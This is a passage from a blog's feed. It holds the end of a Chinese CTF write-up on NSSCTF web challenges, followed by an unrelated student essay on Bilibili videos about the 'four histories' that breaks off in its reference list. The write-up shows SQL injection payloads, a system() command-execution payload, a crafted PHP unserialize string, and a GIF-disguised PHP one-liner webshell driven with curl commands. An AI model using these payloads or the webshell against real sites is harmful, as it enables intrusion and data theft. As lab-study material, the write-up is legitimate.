&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group_concat()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;多行合并成一行&lt;/td&gt;
&lt;td&gt;查表名、列名、flag 时常用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;5‍⃣&lt;strong&gt;查询库名和用户名：&lt;code&gt;database()、user()&lt;/code&gt;&lt;/strong&gt;
因为上一步已经确定为&lt;code&gt;MariaDB&lt;/code&gt;，所以先使用&lt;code&gt;database()&lt;/code&gt;查询当前数据库名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?wllm=-1&apos; union select 1,2,database() -- &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-015.png&quot; alt=&quot;&quot; /&gt;
得到当前数据库名为：&lt;code&gt;test_db&lt;/code&gt;——说明当前网站的数据在&lt;code&gt;text_db&lt;/code&gt;中。又使用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?wllm=-1&apos; union select 1,2,user() -- &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查到当前用户是：&lt;code&gt;root@localhost&lt;/code&gt;——说明数据库的连接用户是&lt;code&gt;root&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;6‍⃣ &lt;strong&gt;爆表：查询有哪些表&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?wllm=-1&apos; union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=&apos;test_db&apos;-- &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-016.png&quot; alt=&quot;&quot; /&gt;
查出有两个表且将二者合并到一行显示：&lt;code&gt;test_tb,users&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;group_concat(table_name)&lt;/code&gt;：把多个表名合并到一行显示
&lt;code&gt;table_name&lt;/code&gt;：专门用来存放表名的目录
&lt;code&gt;information_schema&lt;/code&gt;：记录了数据库的结构信息——有哪些数据库，每个数据库有哪些表，每个表有哪些列
&lt;code&gt;select table_name from information_schema.tables&lt;/code&gt;：查出所有表的名字&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;7‍⃣ &lt;strong&gt;爆列：查询表里有哪些字段&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?wllm=-1&apos; union select 1,2,group_concat(column_name) from information_schema.columns where table_name=&apos;test_tb&apos; -- &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-017.png&quot; alt=&quot;&quot; /&gt;说明&lt;code&gt;flag&lt;/code&gt;很可能就在&lt;code&gt;test_tb&lt;/code&gt;表里&lt;/p&gt;
&lt;p&gt;8‍⃣&lt;strong&gt;查&lt;code&gt;flag&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?wllm=-1&apos; union select 1,2,group_concat(flag) from test_tb -- &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-018.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;9‍⃣&lt;strong&gt;总结&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 看源码，找到参数 wllm
2. 用 order by 判断字段数
3. 用 union select 1,2,3 找回显位
4. 用 @@version 判断数据库类型
5. 用 database() 查当前数据库
6. 用 information_schema.tables 查表名
7. 用 information_schema.columns 查列名
8. 用 group_concat(flag) from test_tb 查 flag
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/424&quot;&gt;[SWPUCTF 2021 新生赛]easyrce - NSSCTF&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;1‍⃣ &lt;strong&gt;&lt;code&gt;eval()&lt;/code&gt;是什么？&lt;/strong&gt;
&lt;code&gt;eval()&lt;/code&gt; 是 &lt;code&gt;PHP&lt;/code&gt; 里的一个函数，作用是：&lt;strong&gt;把字符串当成 &lt;code&gt;PHP&lt;/code&gt; 代码执行。&lt;/strong&gt;
但是：&lt;code&gt;eval()&lt;/code&gt;不能直接执行&lt;code&gt;Linux&lt;/code&gt;命令&lt;/p&gt;
&lt;p&gt;而要想执行&lt;code&gt;Linux&lt;/code&gt;命令，需要调用&lt;code&gt;system()&lt;/code&gt;函数&lt;/p&gt;
&lt;p&gt;2‍⃣判断参数
环境打开后很容易看出要传参&lt;code&gt;/?url=&lt;/code&gt;；&lt;/p&gt;
&lt;p&gt;3‍⃣&lt;strong&gt;查看根目录&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?url=system(&quot;ls /&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看服务器根目录下有什么文件
&lt;img src=&quot;img-019.png&quot; alt=&quot;&quot; /&gt;
其中，&lt;code&gt;flllllaaaaaaggggggg&lt;/code&gt;很可疑&lt;/p&gt;
&lt;p&gt;4‍⃣ &lt;strong&gt;读取&lt;code&gt;flag&lt;/code&gt;文件&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?url=system(&quot;cat /flllllaaaaaaggggggg&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-020.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/426&quot;&gt;[SWPUCTF 2021 新生赛]ez_unserialize - NSSCTF&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;1‍⃣
检查页面源码并没有发现有用的信息，于是采用&lt;code&gt;dirsearch&lt;/code&gt;后台扫描&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-021.png&quot; alt=&quot;&quot; /&gt;
扫描后看见&lt;code&gt;robots.txt&lt;/code&gt;
进入&lt;code&gt;robots.txt&lt;/code&gt;后得知存在&lt;code&gt;/cl45s.php&lt;/code&gt;，于是进入该目录下打开该文件获得代码
&lt;img src=&quot;img-022.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;img-023.png&quot; alt=&quot;&quot; /&gt;
2‍⃣&lt;strong&gt;代码分析&lt;/strong&gt;
首先看开头：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;error_reporting(0);
show_source(&quot;cl45s.php&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;error_reporting(0)&lt;/code&gt; ：关闭报错显示。
&lt;code&gt;show_source(&quot;cl45s.php&quot;)&lt;/code&gt; ：把当前 PHP 文件的源码显示出来。&lt;/p&gt;
&lt;p&gt;接着定义了一个类：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class wllm{
    public $admin;
    public $passwd;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个类里面有两个公开属性：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$admin
$passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构造函数如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function __construct(){
    $this-&amp;gt;admin = &quot;user&quot;;
    $this-&amp;gt;passwd = &quot;123456&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当正常创建 &lt;code&gt;wllm&lt;/code&gt; 对象时，默认属性是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin = user
passwd = 123456
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是在析构函数中，程序会判断：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if($this-&amp;gt;admin === &quot;admin&quot; &amp;amp;&amp;amp; $this-&amp;gt;passwd === &quot;ctf&quot;){
    include(&quot;flag.php&quot;);
    echo $flag;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，只要对象里的属性满足：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin = admin
passwd = ctf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序就会包含 &lt;code&gt;flag.php&lt;/code&gt;，并输出 &lt;code&gt;$flag&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;关键漏洞点在最后两行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$p = $_GET[&apos;p&apos;];
unserialize($p);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序从 &lt;code&gt;URL&lt;/code&gt; 参数 &lt;code&gt;p&lt;/code&gt; 中获取内容，然后直接传给 &lt;code&gt;unserialize()&lt;/code&gt; 反序列化。
这就意味着我们可以自己构造一个序列化字符串，让服务器反序列化出一个 &lt;code&gt;wllm&lt;/code&gt; 对象，并且让这个对象的属性变成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin = admin
passwd = ctf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样脚本结束时会自动触发 &lt;code&gt;__destruct()&lt;/code&gt;，从而输出 flag。&lt;/p&gt;
&lt;p&gt;3‍⃣ &lt;strong&gt;&lt;code&gt;PHP&lt;/code&gt; 序列化格式分析&lt;/strong&gt;
&lt;code&gt;PHP&lt;/code&gt; 中对象的序列化格式大概是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O:类名长度:&quot;类名&quot;:属性数量:{属性名;属性值;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字符串的序列化格式是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s:字符串长度:&quot;字符串&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本题类名是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wllm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;长度是 4，所以开头写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O:4:&quot;wllm&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;类里面有两个属性：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin
passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以属性数量是 2：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O:4:&quot;wllm&quot;:2:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来写两个属性：
第一个属性是 &lt;code&gt;admin&lt;/code&gt;，属性名长度是 5，属性值也是 &lt;code&gt;admin&lt;/code&gt;，长度也是 5：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s:5:&quot;admin&quot;;s:5:&quot;admin&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二个属性是 &lt;code&gt;passwd&lt;/code&gt;，属性名长度是 6，属性值是 &lt;code&gt;ctf&lt;/code&gt;，长度是 3：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s:6:&quot;passwd&quot;;s:3:&quot;ctf&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以完整 payload 为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?p=O:4:&quot;wllm&quot;:2:{s:5:&quot;admin&quot;;s:5:&quot;admin&quot;;s:6:&quot;passwd&quot;;s:3:&quot;ctf&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;创建一个 wllm 对象；
这个对象有两个属性；
admin = &quot;admin&quot;；
passwd = &quot;ctf&quot;；
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4‍⃣&lt;strong&gt;构造&lt;code&gt;payload&lt;/code&gt;&lt;/strong&gt;
原始 &lt;code&gt;payload&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O:4:&quot;wllm&quot;:2:{s:5:&quot;admin&quot;;s:5:&quot;admin&quot;;s:6:&quot;passwd&quot;;s:3:&quot;ctf&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以直接拼接到 &lt;code&gt;URL&lt;/code&gt; 后面：&lt;/p&gt;
&lt;p&gt;但是 &lt;code&gt;URL&lt;/code&gt; 中有一些特殊字符，比如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:
&quot;
{
}
;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有时候浏览器或服务器解析时可能会出问题，所以进行 &lt;code&gt;URL&lt;/code&gt; 编码。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;URL&lt;/code&gt; 编码后的 &lt;code&gt;payload&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/423&quot;&gt;[SWPUCTF 2021 新生赛]easyupload2.0 - NSSCTF&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;1‍⃣打开环境看见的是要求传一个文件，于是上传一句话木马，同时又因为上传&lt;code&gt;php&lt;/code&gt;文件显示“&lt;code&gt;php&lt;/code&gt;是不行滴”，于是上传&lt;code&gt;shell.phtml&lt;/code&gt;文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GIF89a
&amp;lt;?php @eval($_POST[&apos;cmd&apos;]);?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;GIF89a&lt;/code&gt;是&lt;code&gt;GIF&lt;/code&gt;的文件头。很多上传检测只会粗略看文件开头是不是图片格式，加上这个可以让文件看起来更像&lt;code&gt;GIF&lt;/code&gt;图片
&lt;code&gt;&amp;lt;?php @eval($_POST[&apos;cmd&apos;]);?&amp;gt;&lt;/code&gt;：从 &lt;code&gt;POST&lt;/code&gt; 参数 &lt;code&gt;cmd&lt;/code&gt; 里取一段 &lt;code&gt;PHP&lt;/code&gt; 代码，然后执行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2‍⃣上传成功后网站显示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./upload/shell.phtml succesfully uploaded!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明该文件被放到了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/upload/shell.phtml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3‍⃣因为上传的木马中写道：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$_POST[&apos;cmd&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以必须用&lt;code&gt;POST&lt;/code&gt;传一个&lt;code&gt;cmd&lt;/code&gt;参数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST &quot;http://靶机/upload/shell.phtml&quot; -d &quot;cmd=system(&apos;ls&apos;);&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处真正执行的就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;system(&apos;ls&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4‍⃣操作
先在浏览器中访问木马地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://node4.anna.nssctf.cn:29689/upload/shell.phtml
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 测试木马能否执行命令
curl &quot;http://node4.anna.nssctf.cn:29689/upload/shell.phtml&quot; -Method POST -Body @{cmd=&quot;system(&apos;pwd&apos;);&quot;}

# 看当前目录有什么文件
curl &quot;http://node4.anna.nssctf.cn:29689/upload/shell.phtml&quot; -Method POST -Body @{cmd=&quot;system(&apos;ls&apos;);&quot;}

# 查看网站根目录文件
curl &quot;http://node4.anna.nssctf.cn:29689/upload/shell.phtml&quot; -Method POST -Body @{cmd=&quot;system(&apos;ls /var/www/html&apos;);“}

# 查看flag文件
 curl &quot;http://node4.anna.nssctf.cn:29689/upload/shell.phtml&quot; -Method POST -Body @{cmd=&quot;system(&apos;cat /var/www/html/flag.php&apos;);&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功读取&lt;code&gt;flag.php&lt;/code&gt;文件得到&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/3873&quot;&gt;[LitCTF 2023]Ping - NSSCTF&lt;/a&gt;&lt;/h2&gt;
</content:encoded></item><item><title>“四史”结课论文</title><link>https://clairis.cn/posts/10%E5%9B%9B%E5%8F%B2%E7%BB%93%E8%AF%BE%E8%AE%BA%E6%96%87/</link><guid isPermaLink="true">https://clairis.cn/posts/10%E5%9B%9B%E5%8F%B2%E7%BB%93%E8%AF%BE%E8%AE%BA%E6%96%87/</guid><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;融媒体语境下“四史”题材短视频的青年化传播研究&lt;/h1&gt;
&lt;h2&gt;——以B站“四史”主题视频作品为例&lt;/h2&gt;
&lt;p&gt;在当下媒介环境快速变化的背景下，短视频平台已经成为青年群体获取信息、接受思想教育的重要渠道。“四史”教育作为高校思想政治教育的重要内容，如何突破传统理论灌输模式，实现青年化、网络化、情感化传播，成为当前传播实践中的重要课题。相比传统纪录片、课堂宣讲等形式，短视频凭借节奏快、互动强、情绪浓度高等特点，更容易引发青年受众共鸣。近年来，哔哩哔哩平台（B站）大量“四史”题材视频的出现，也反映出主流价值传播正在向年轻化表达转型。&lt;/p&gt;
&lt;p&gt;本文结合课程《“四史”融合传播实践》的相关内容，以B站“四史”主题视频作品为研究对象，重点分析其主题内容、表达形态与传播特点，并进一步探讨“四史”题材在新媒体环境中的传播规律及现实启示。&lt;/p&gt;
&lt;p&gt;本文所分析的案例主要包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1qp411R7Cc/?spm_id_from=333.1387.favlist.content.click&quot;&gt;延音不止——智化寺京音乐的故事_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1FS98Y8Eou/?spm_id_from=333.1387.favlist.content.click&amp;amp;vd_source=d4335a60bd9b56e675881356cd6acaa2&quot;&gt;无声骑手：你在生活中有遇到过聋人骑手吗？_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;同时结合B站平台“四史”相关内容生态进行综合分析。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;一、“四史”题材短视频兴起的时代背景&lt;/h2&gt;
&lt;p&gt;所谓“四史”，即中国共产党史、新中国史、改革开放史和社会主义发展史。习近平总书记多次强调学习“四史”的重要意义，指出要通过“四史”教育坚定理想信念、增强历史自觉。&lt;/p&gt;
&lt;p&gt;传统“四史”教育长期以课堂讲授、理论宣讲、纸质文本为主要传播形式。这种方式虽然具有理论深度，但对于互联网环境下成长起来的青年群体而言，存在传播形式相对单一、互动性不足的问题。尤其在“注意力经济”时代，青年受众更加偏好碎片化、视觉化、情绪化的信息表达。&lt;/p&gt;
&lt;p&gt;与此同时，以B站、抖音为代表的视频平台迅速崛起。尤其B站用户以青年群体为主，形成了独特的“弹幕文化”“二创文化”与社区互动机制。在这种媒介环境中，“四史”传播逐渐从单向灌输转向情感共鸣，从宏大叙事转向个体叙事，从严肃说教转向青年化表达。&lt;/p&gt;
&lt;p&gt;高校“四史”教育研究也指出，微视频传播能够有效增强青年学习兴趣，提升“四史”教育的参与度与实践效果。&lt;/p&gt;
&lt;p&gt;因此，“四史”题材短视频的兴起，本质上是主流价值传播主动适应媒介变迁与青年文化变化的结果。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;二、案例作品的主题内容分析&lt;/h2&gt;
&lt;h3&gt;（一）从宏大历史转向“个体命运”叙事&lt;/h3&gt;
&lt;p&gt;传统“四史”传播往往强调重大历史事件与政治成就，而案例视频则更加注重普通人的命运表达。例如视频中大量采用青年革命者、普通民众、知识分子的成长故事，通过具体人物的经历折射时代变化。&lt;/p&gt;
&lt;p&gt;这种叙事方式能够降低历史距离感。对于年轻观众而言，抽象的历史概念往往较难形成真实体验，但具体人物的情感、理想与牺牲则更容易引发代入感。&lt;/p&gt;
&lt;p&gt;例如视频中对于青年革命者“理想与牺牲”的描绘，并不是单纯强调历史结果，而是突出其情感挣扎、青春热血与价值选择。这种处理方式实际上完成了历史人物的“人格化重建”，使青年观众能够将历史人物视为“与自己相似的人”，从而增强情感认同。&lt;/p&gt;
&lt;p&gt;这种表达也体现出当前“四史”传播的重要趋势：  即从“历史知识传播”逐渐转向“价值情感传播”。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;（二）强化民族记忆与国家认同&lt;/h3&gt;
&lt;p&gt;案例作品虽然采用青年化表达，但核心主题始终围绕国家命运与民族复兴展开。&lt;/p&gt;
&lt;p&gt;视频通过战争、革命、改革开放等历史片段，构建起中国近现代发展的历史逻辑。例如从民族危亡到革命觉醒，从国家独立到现代化建设，再到新时代发展成就，作品实际上完成了对“四史”内在逻辑链条的串联。&lt;/p&gt;
&lt;p&gt;这种叙事并非简单罗列历史事件，而是强调“中国共产党为什么能”“中国特色社会主义为什么好”等核心价值命题。&lt;/p&gt;
&lt;p&gt;值得注意的是，案例视频并未采用生硬口号式表达，而是通过人物命运、时代氛围、音乐渲染等方式，使观众在情绪共鸣中形成价值认同。&lt;/p&gt;
&lt;p&gt;这种“润物细无声”的传播方式，比传统说教更符合当前青年群体的信息接受习惯。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;（三）将历史教育与现实情感结合&lt;/h3&gt;
&lt;p&gt;案例视频并非停留于历史回顾，而是不断将历史与现实进行联系。例如通过字幕、剪辑节奏以及现实画面的穿插，引导观众思考“今天的幸福生活从何而来”。&lt;/p&gt;
&lt;p&gt;这种“历史—现实”的连接，是“四史”传播中的重要逻辑。因为历史教育真正的目的，并不是让受众机械记忆历史事件，而是帮助其建立现实认知与价值判断。&lt;/p&gt;
&lt;p&gt;因此，视频通过历史人物的牺牲与当代青年的生活形成对照，使观众在情感上形成“历史责任感”。&lt;/p&gt;
&lt;p&gt;这种传播策略实际上强化了青年群体的国家认同与集体意识。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;三、案例作品的表达形态分析&lt;/h2&gt;
&lt;h3&gt;（一）影视化剪辑增强情绪感染力&lt;/h3&gt;
&lt;p&gt;案例视频大量采用影视化剪辑语言，例如快速转场、慢镜头、特写镜头、背景音乐渲染等。&lt;/p&gt;
&lt;p&gt;这种表达方式明显区别于传统纪录片的“平铺直叙”。它更强调观众情绪的调动。&lt;/p&gt;
&lt;p&gt;例如在革命场景中使用激昂音乐与高密度镜头切换，可以迅速提升情绪张力；而在人物牺牲片段中采用慢镜头与低沉音乐，则能够增强悲壮感。&lt;/p&gt;
&lt;p&gt;这种“情绪优先”的传播逻辑，本质上符合短视频平台的传播规律。因为在信息爆炸时代，观众停留时间极短，只有迅速建立情绪刺激，才能提高传播效率。&lt;/p&gt;
&lt;p&gt;从传播学角度来看，这种方式属于“情感传播”模式，即通过情绪唤起推动价值认同。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;（二）弹幕文化增强互动传播&lt;/h3&gt;
&lt;p&gt;B站区别于其他视频平台的重要特征之一，就是弹幕互动。&lt;/p&gt;
&lt;p&gt;在“四史”题材视频中，弹幕不仅是观看反馈，更是一种集体情绪表达。例如观众会发送“泪目”“这就是信仰”“今日中国如你所愿”等弹幕。&lt;/p&gt;
&lt;p&gt;这种互动行为实际上形成了“情感共同体”。&lt;/p&gt;
&lt;p&gt;传统思想政治教育通常是“单向传播”，而弹幕则让观众从被动接受转变为主动参与。观众在发送弹幕的过程中，也是在表达自身态度与价值立场。&lt;/p&gt;
&lt;p&gt;因此，弹幕文化使“四史”传播具有了更强的参与性与社群属性。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;（三）二次创作推动内容裂变&lt;/h3&gt;
&lt;p&gt;案例视频还体现出明显的“二创”特征。&lt;/p&gt;
&lt;p&gt;许多“四史”视频并非官方制作，而是UP主基于影视剧、纪录片素材重新剪辑创作。这种方式降低了主流价值传播的“官方距离感”。&lt;/p&gt;
&lt;p&gt;青年创作者使用网络流行语言、热门音乐、混剪技巧，使严肃历史题材更加贴近青年文化。&lt;/p&gt;
&lt;p&gt;从传播效果来看，二创能够实现内容裂变。一部优秀视频往往会带动更多用户进行模仿、再创作与转发，从而形成持续传播。&lt;/p&gt;
&lt;p&gt;这也说明，在融媒体时代，主流价值传播已经不再完全依赖传统媒体，而是逐渐形成“官方引导+民间参与”的传播模式。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;四、案例作品的传播特点分析&lt;/h2&gt;
&lt;h3&gt;（一）青年化表达成为核心趋势&lt;/h3&gt;
&lt;p&gt;案例最明显的特点，就是“青年化表达”。&lt;/p&gt;
&lt;p&gt;所谓青年化，并不是简单使用网络语言，而是从青年受众的情感需求、审美习惯与媒介使用方式出发进行内容设计。&lt;/p&gt;
&lt;p&gt;例如案例视频强调青春、理想、热血、奋斗等主题，这些内容本身就与青年群体的心理需求高度契合。&lt;/p&gt;
&lt;p&gt;同时，视频节奏快、画面燃、音乐情绪强，也符合短视频时代的观看习惯。&lt;/p&gt;
&lt;p&gt;因此，“四史”传播的成功，不仅取决于内容本身，更取决于表达方式是否能够进入青年语境。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;（二）平台算法推动精准传播&lt;/h3&gt;
&lt;p&gt;B站平台具有较强的兴趣推荐机制。&lt;/p&gt;
&lt;p&gt;当用户观看历史、军事、影视剪辑类内容后，平台会持续推荐相关“四史”视频。这种算法机制使“四史”内容能够精准触达目标群体。&lt;/p&gt;
&lt;p&gt;同时，平台的点赞、收藏、投币、转发机制，也会进一步放大优质内容传播效果。&lt;/p&gt;
&lt;p&gt;与传统电视传播相比，算法推荐能够突破时间与空间限制，实现更加个性化、精准化的价值传播。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;（三）情感共鸣高于理论灌输&lt;/h3&gt;
&lt;p&gt;案例视频传播效果较好的原因之一，在于其更加重视情感共鸣。&lt;/p&gt;
&lt;p&gt;过去部分“四史”教育容易陷入“概念化”“口号化”问题，而短视频则通过故事、音乐与人物塑造增强情绪感染力。&lt;/p&gt;
&lt;p&gt;青年观众未必会因为理论说教而产生认同，但往往会因为一个人物、一句台词、一个镜头而受到触动。&lt;/p&gt;
&lt;p&gt;因此，当代“四史”传播正在从“讲道理”转向“讲故事”。&lt;/p&gt;
&lt;p&gt;而“故事化传播”恰恰是融媒体时代最有效的传播方式之一。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;五、“四史”题材融媒体传播的现实启示&lt;/h2&gt;
&lt;h3&gt;（一）主流价值传播必须适应媒介变革&lt;/h3&gt;
&lt;p&gt;案例说明，主流价值传播不能停留于传统模式，而必须主动进入青年聚集的平台。&lt;/p&gt;
&lt;p&gt;如果“四史”传播仍然停留在单一课堂与纸质文本中，就很难真正影响互联网时代成长起来的青年。&lt;/p&gt;
&lt;p&gt;因此，高校与主流媒体需要更加重视短视频、直播、互动社区等新媒介形式。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;（二）历史传播需要增强情感表达&lt;/h3&gt;
&lt;p&gt;历史教育不仅是知识教育，更是情感教育。&lt;/p&gt;
&lt;p&gt;案例视频之所以能够获得青年喜爱，核心就在于其成功调动了观众情绪。&lt;/p&gt;
&lt;p&gt;这说明“四史”传播不应只有理论深度，也应具备情感温度。&lt;/p&gt;
&lt;p&gt;只有让青年真正“感受到”历史，历史教育才能真正进入内心。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;（三）青年用户既是受众，也是传播者&lt;/h3&gt;
&lt;p&gt;融媒体时代最大的变化之一，就是受众身份的转变。&lt;/p&gt;
&lt;p&gt;青年用户不再只是信息接受者，同时也是内容生产者与传播者。&lt;/p&gt;
&lt;p&gt;B站大量“四史”二创视频的出现，说明青年群体已经开始主动参与主流价值表达。&lt;/p&gt;
&lt;p&gt;因此，未来“四史”传播不应只是“教育青年”，更应重视“激发青年表达”。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;结论&lt;/h2&gt;
&lt;p&gt;通过对B站“四史”主题视频案例的分析可以发现，当前“四史”传播已经逐渐突破传统思想政治教育模式，形成了以青年化表达、情感化传播、互动化参与为核心的新传播路径。&lt;/p&gt;
&lt;p&gt;案例作品通过人物化叙事、影视化剪辑、弹幕互动与二次创作等方式，实现了历史教育与青年文化的融合。这不仅增强了“四史”教育的传播效果，也说明主流价值传播正在适应融媒体时代的发展趋势。&lt;/p&gt;
&lt;p&gt;同时，案例也揭示出“四史”传播的重要规律：&lt;br /&gt;
即在新媒体环境下，只有真正进入青年语境、理解青年情感需求、运用青年熟悉的表达方式，主流价值才能实现有效传播。&lt;/p&gt;
&lt;p&gt;因此，未来“四史”融合传播实践应继续坚持内容价值与媒介创新并重，在保持思想深度的同时，不断探索更加符合青年传播规律的新表达方式，从而推动“四史”教育真正实现“入脑、入心、入行”。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;参考文献&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
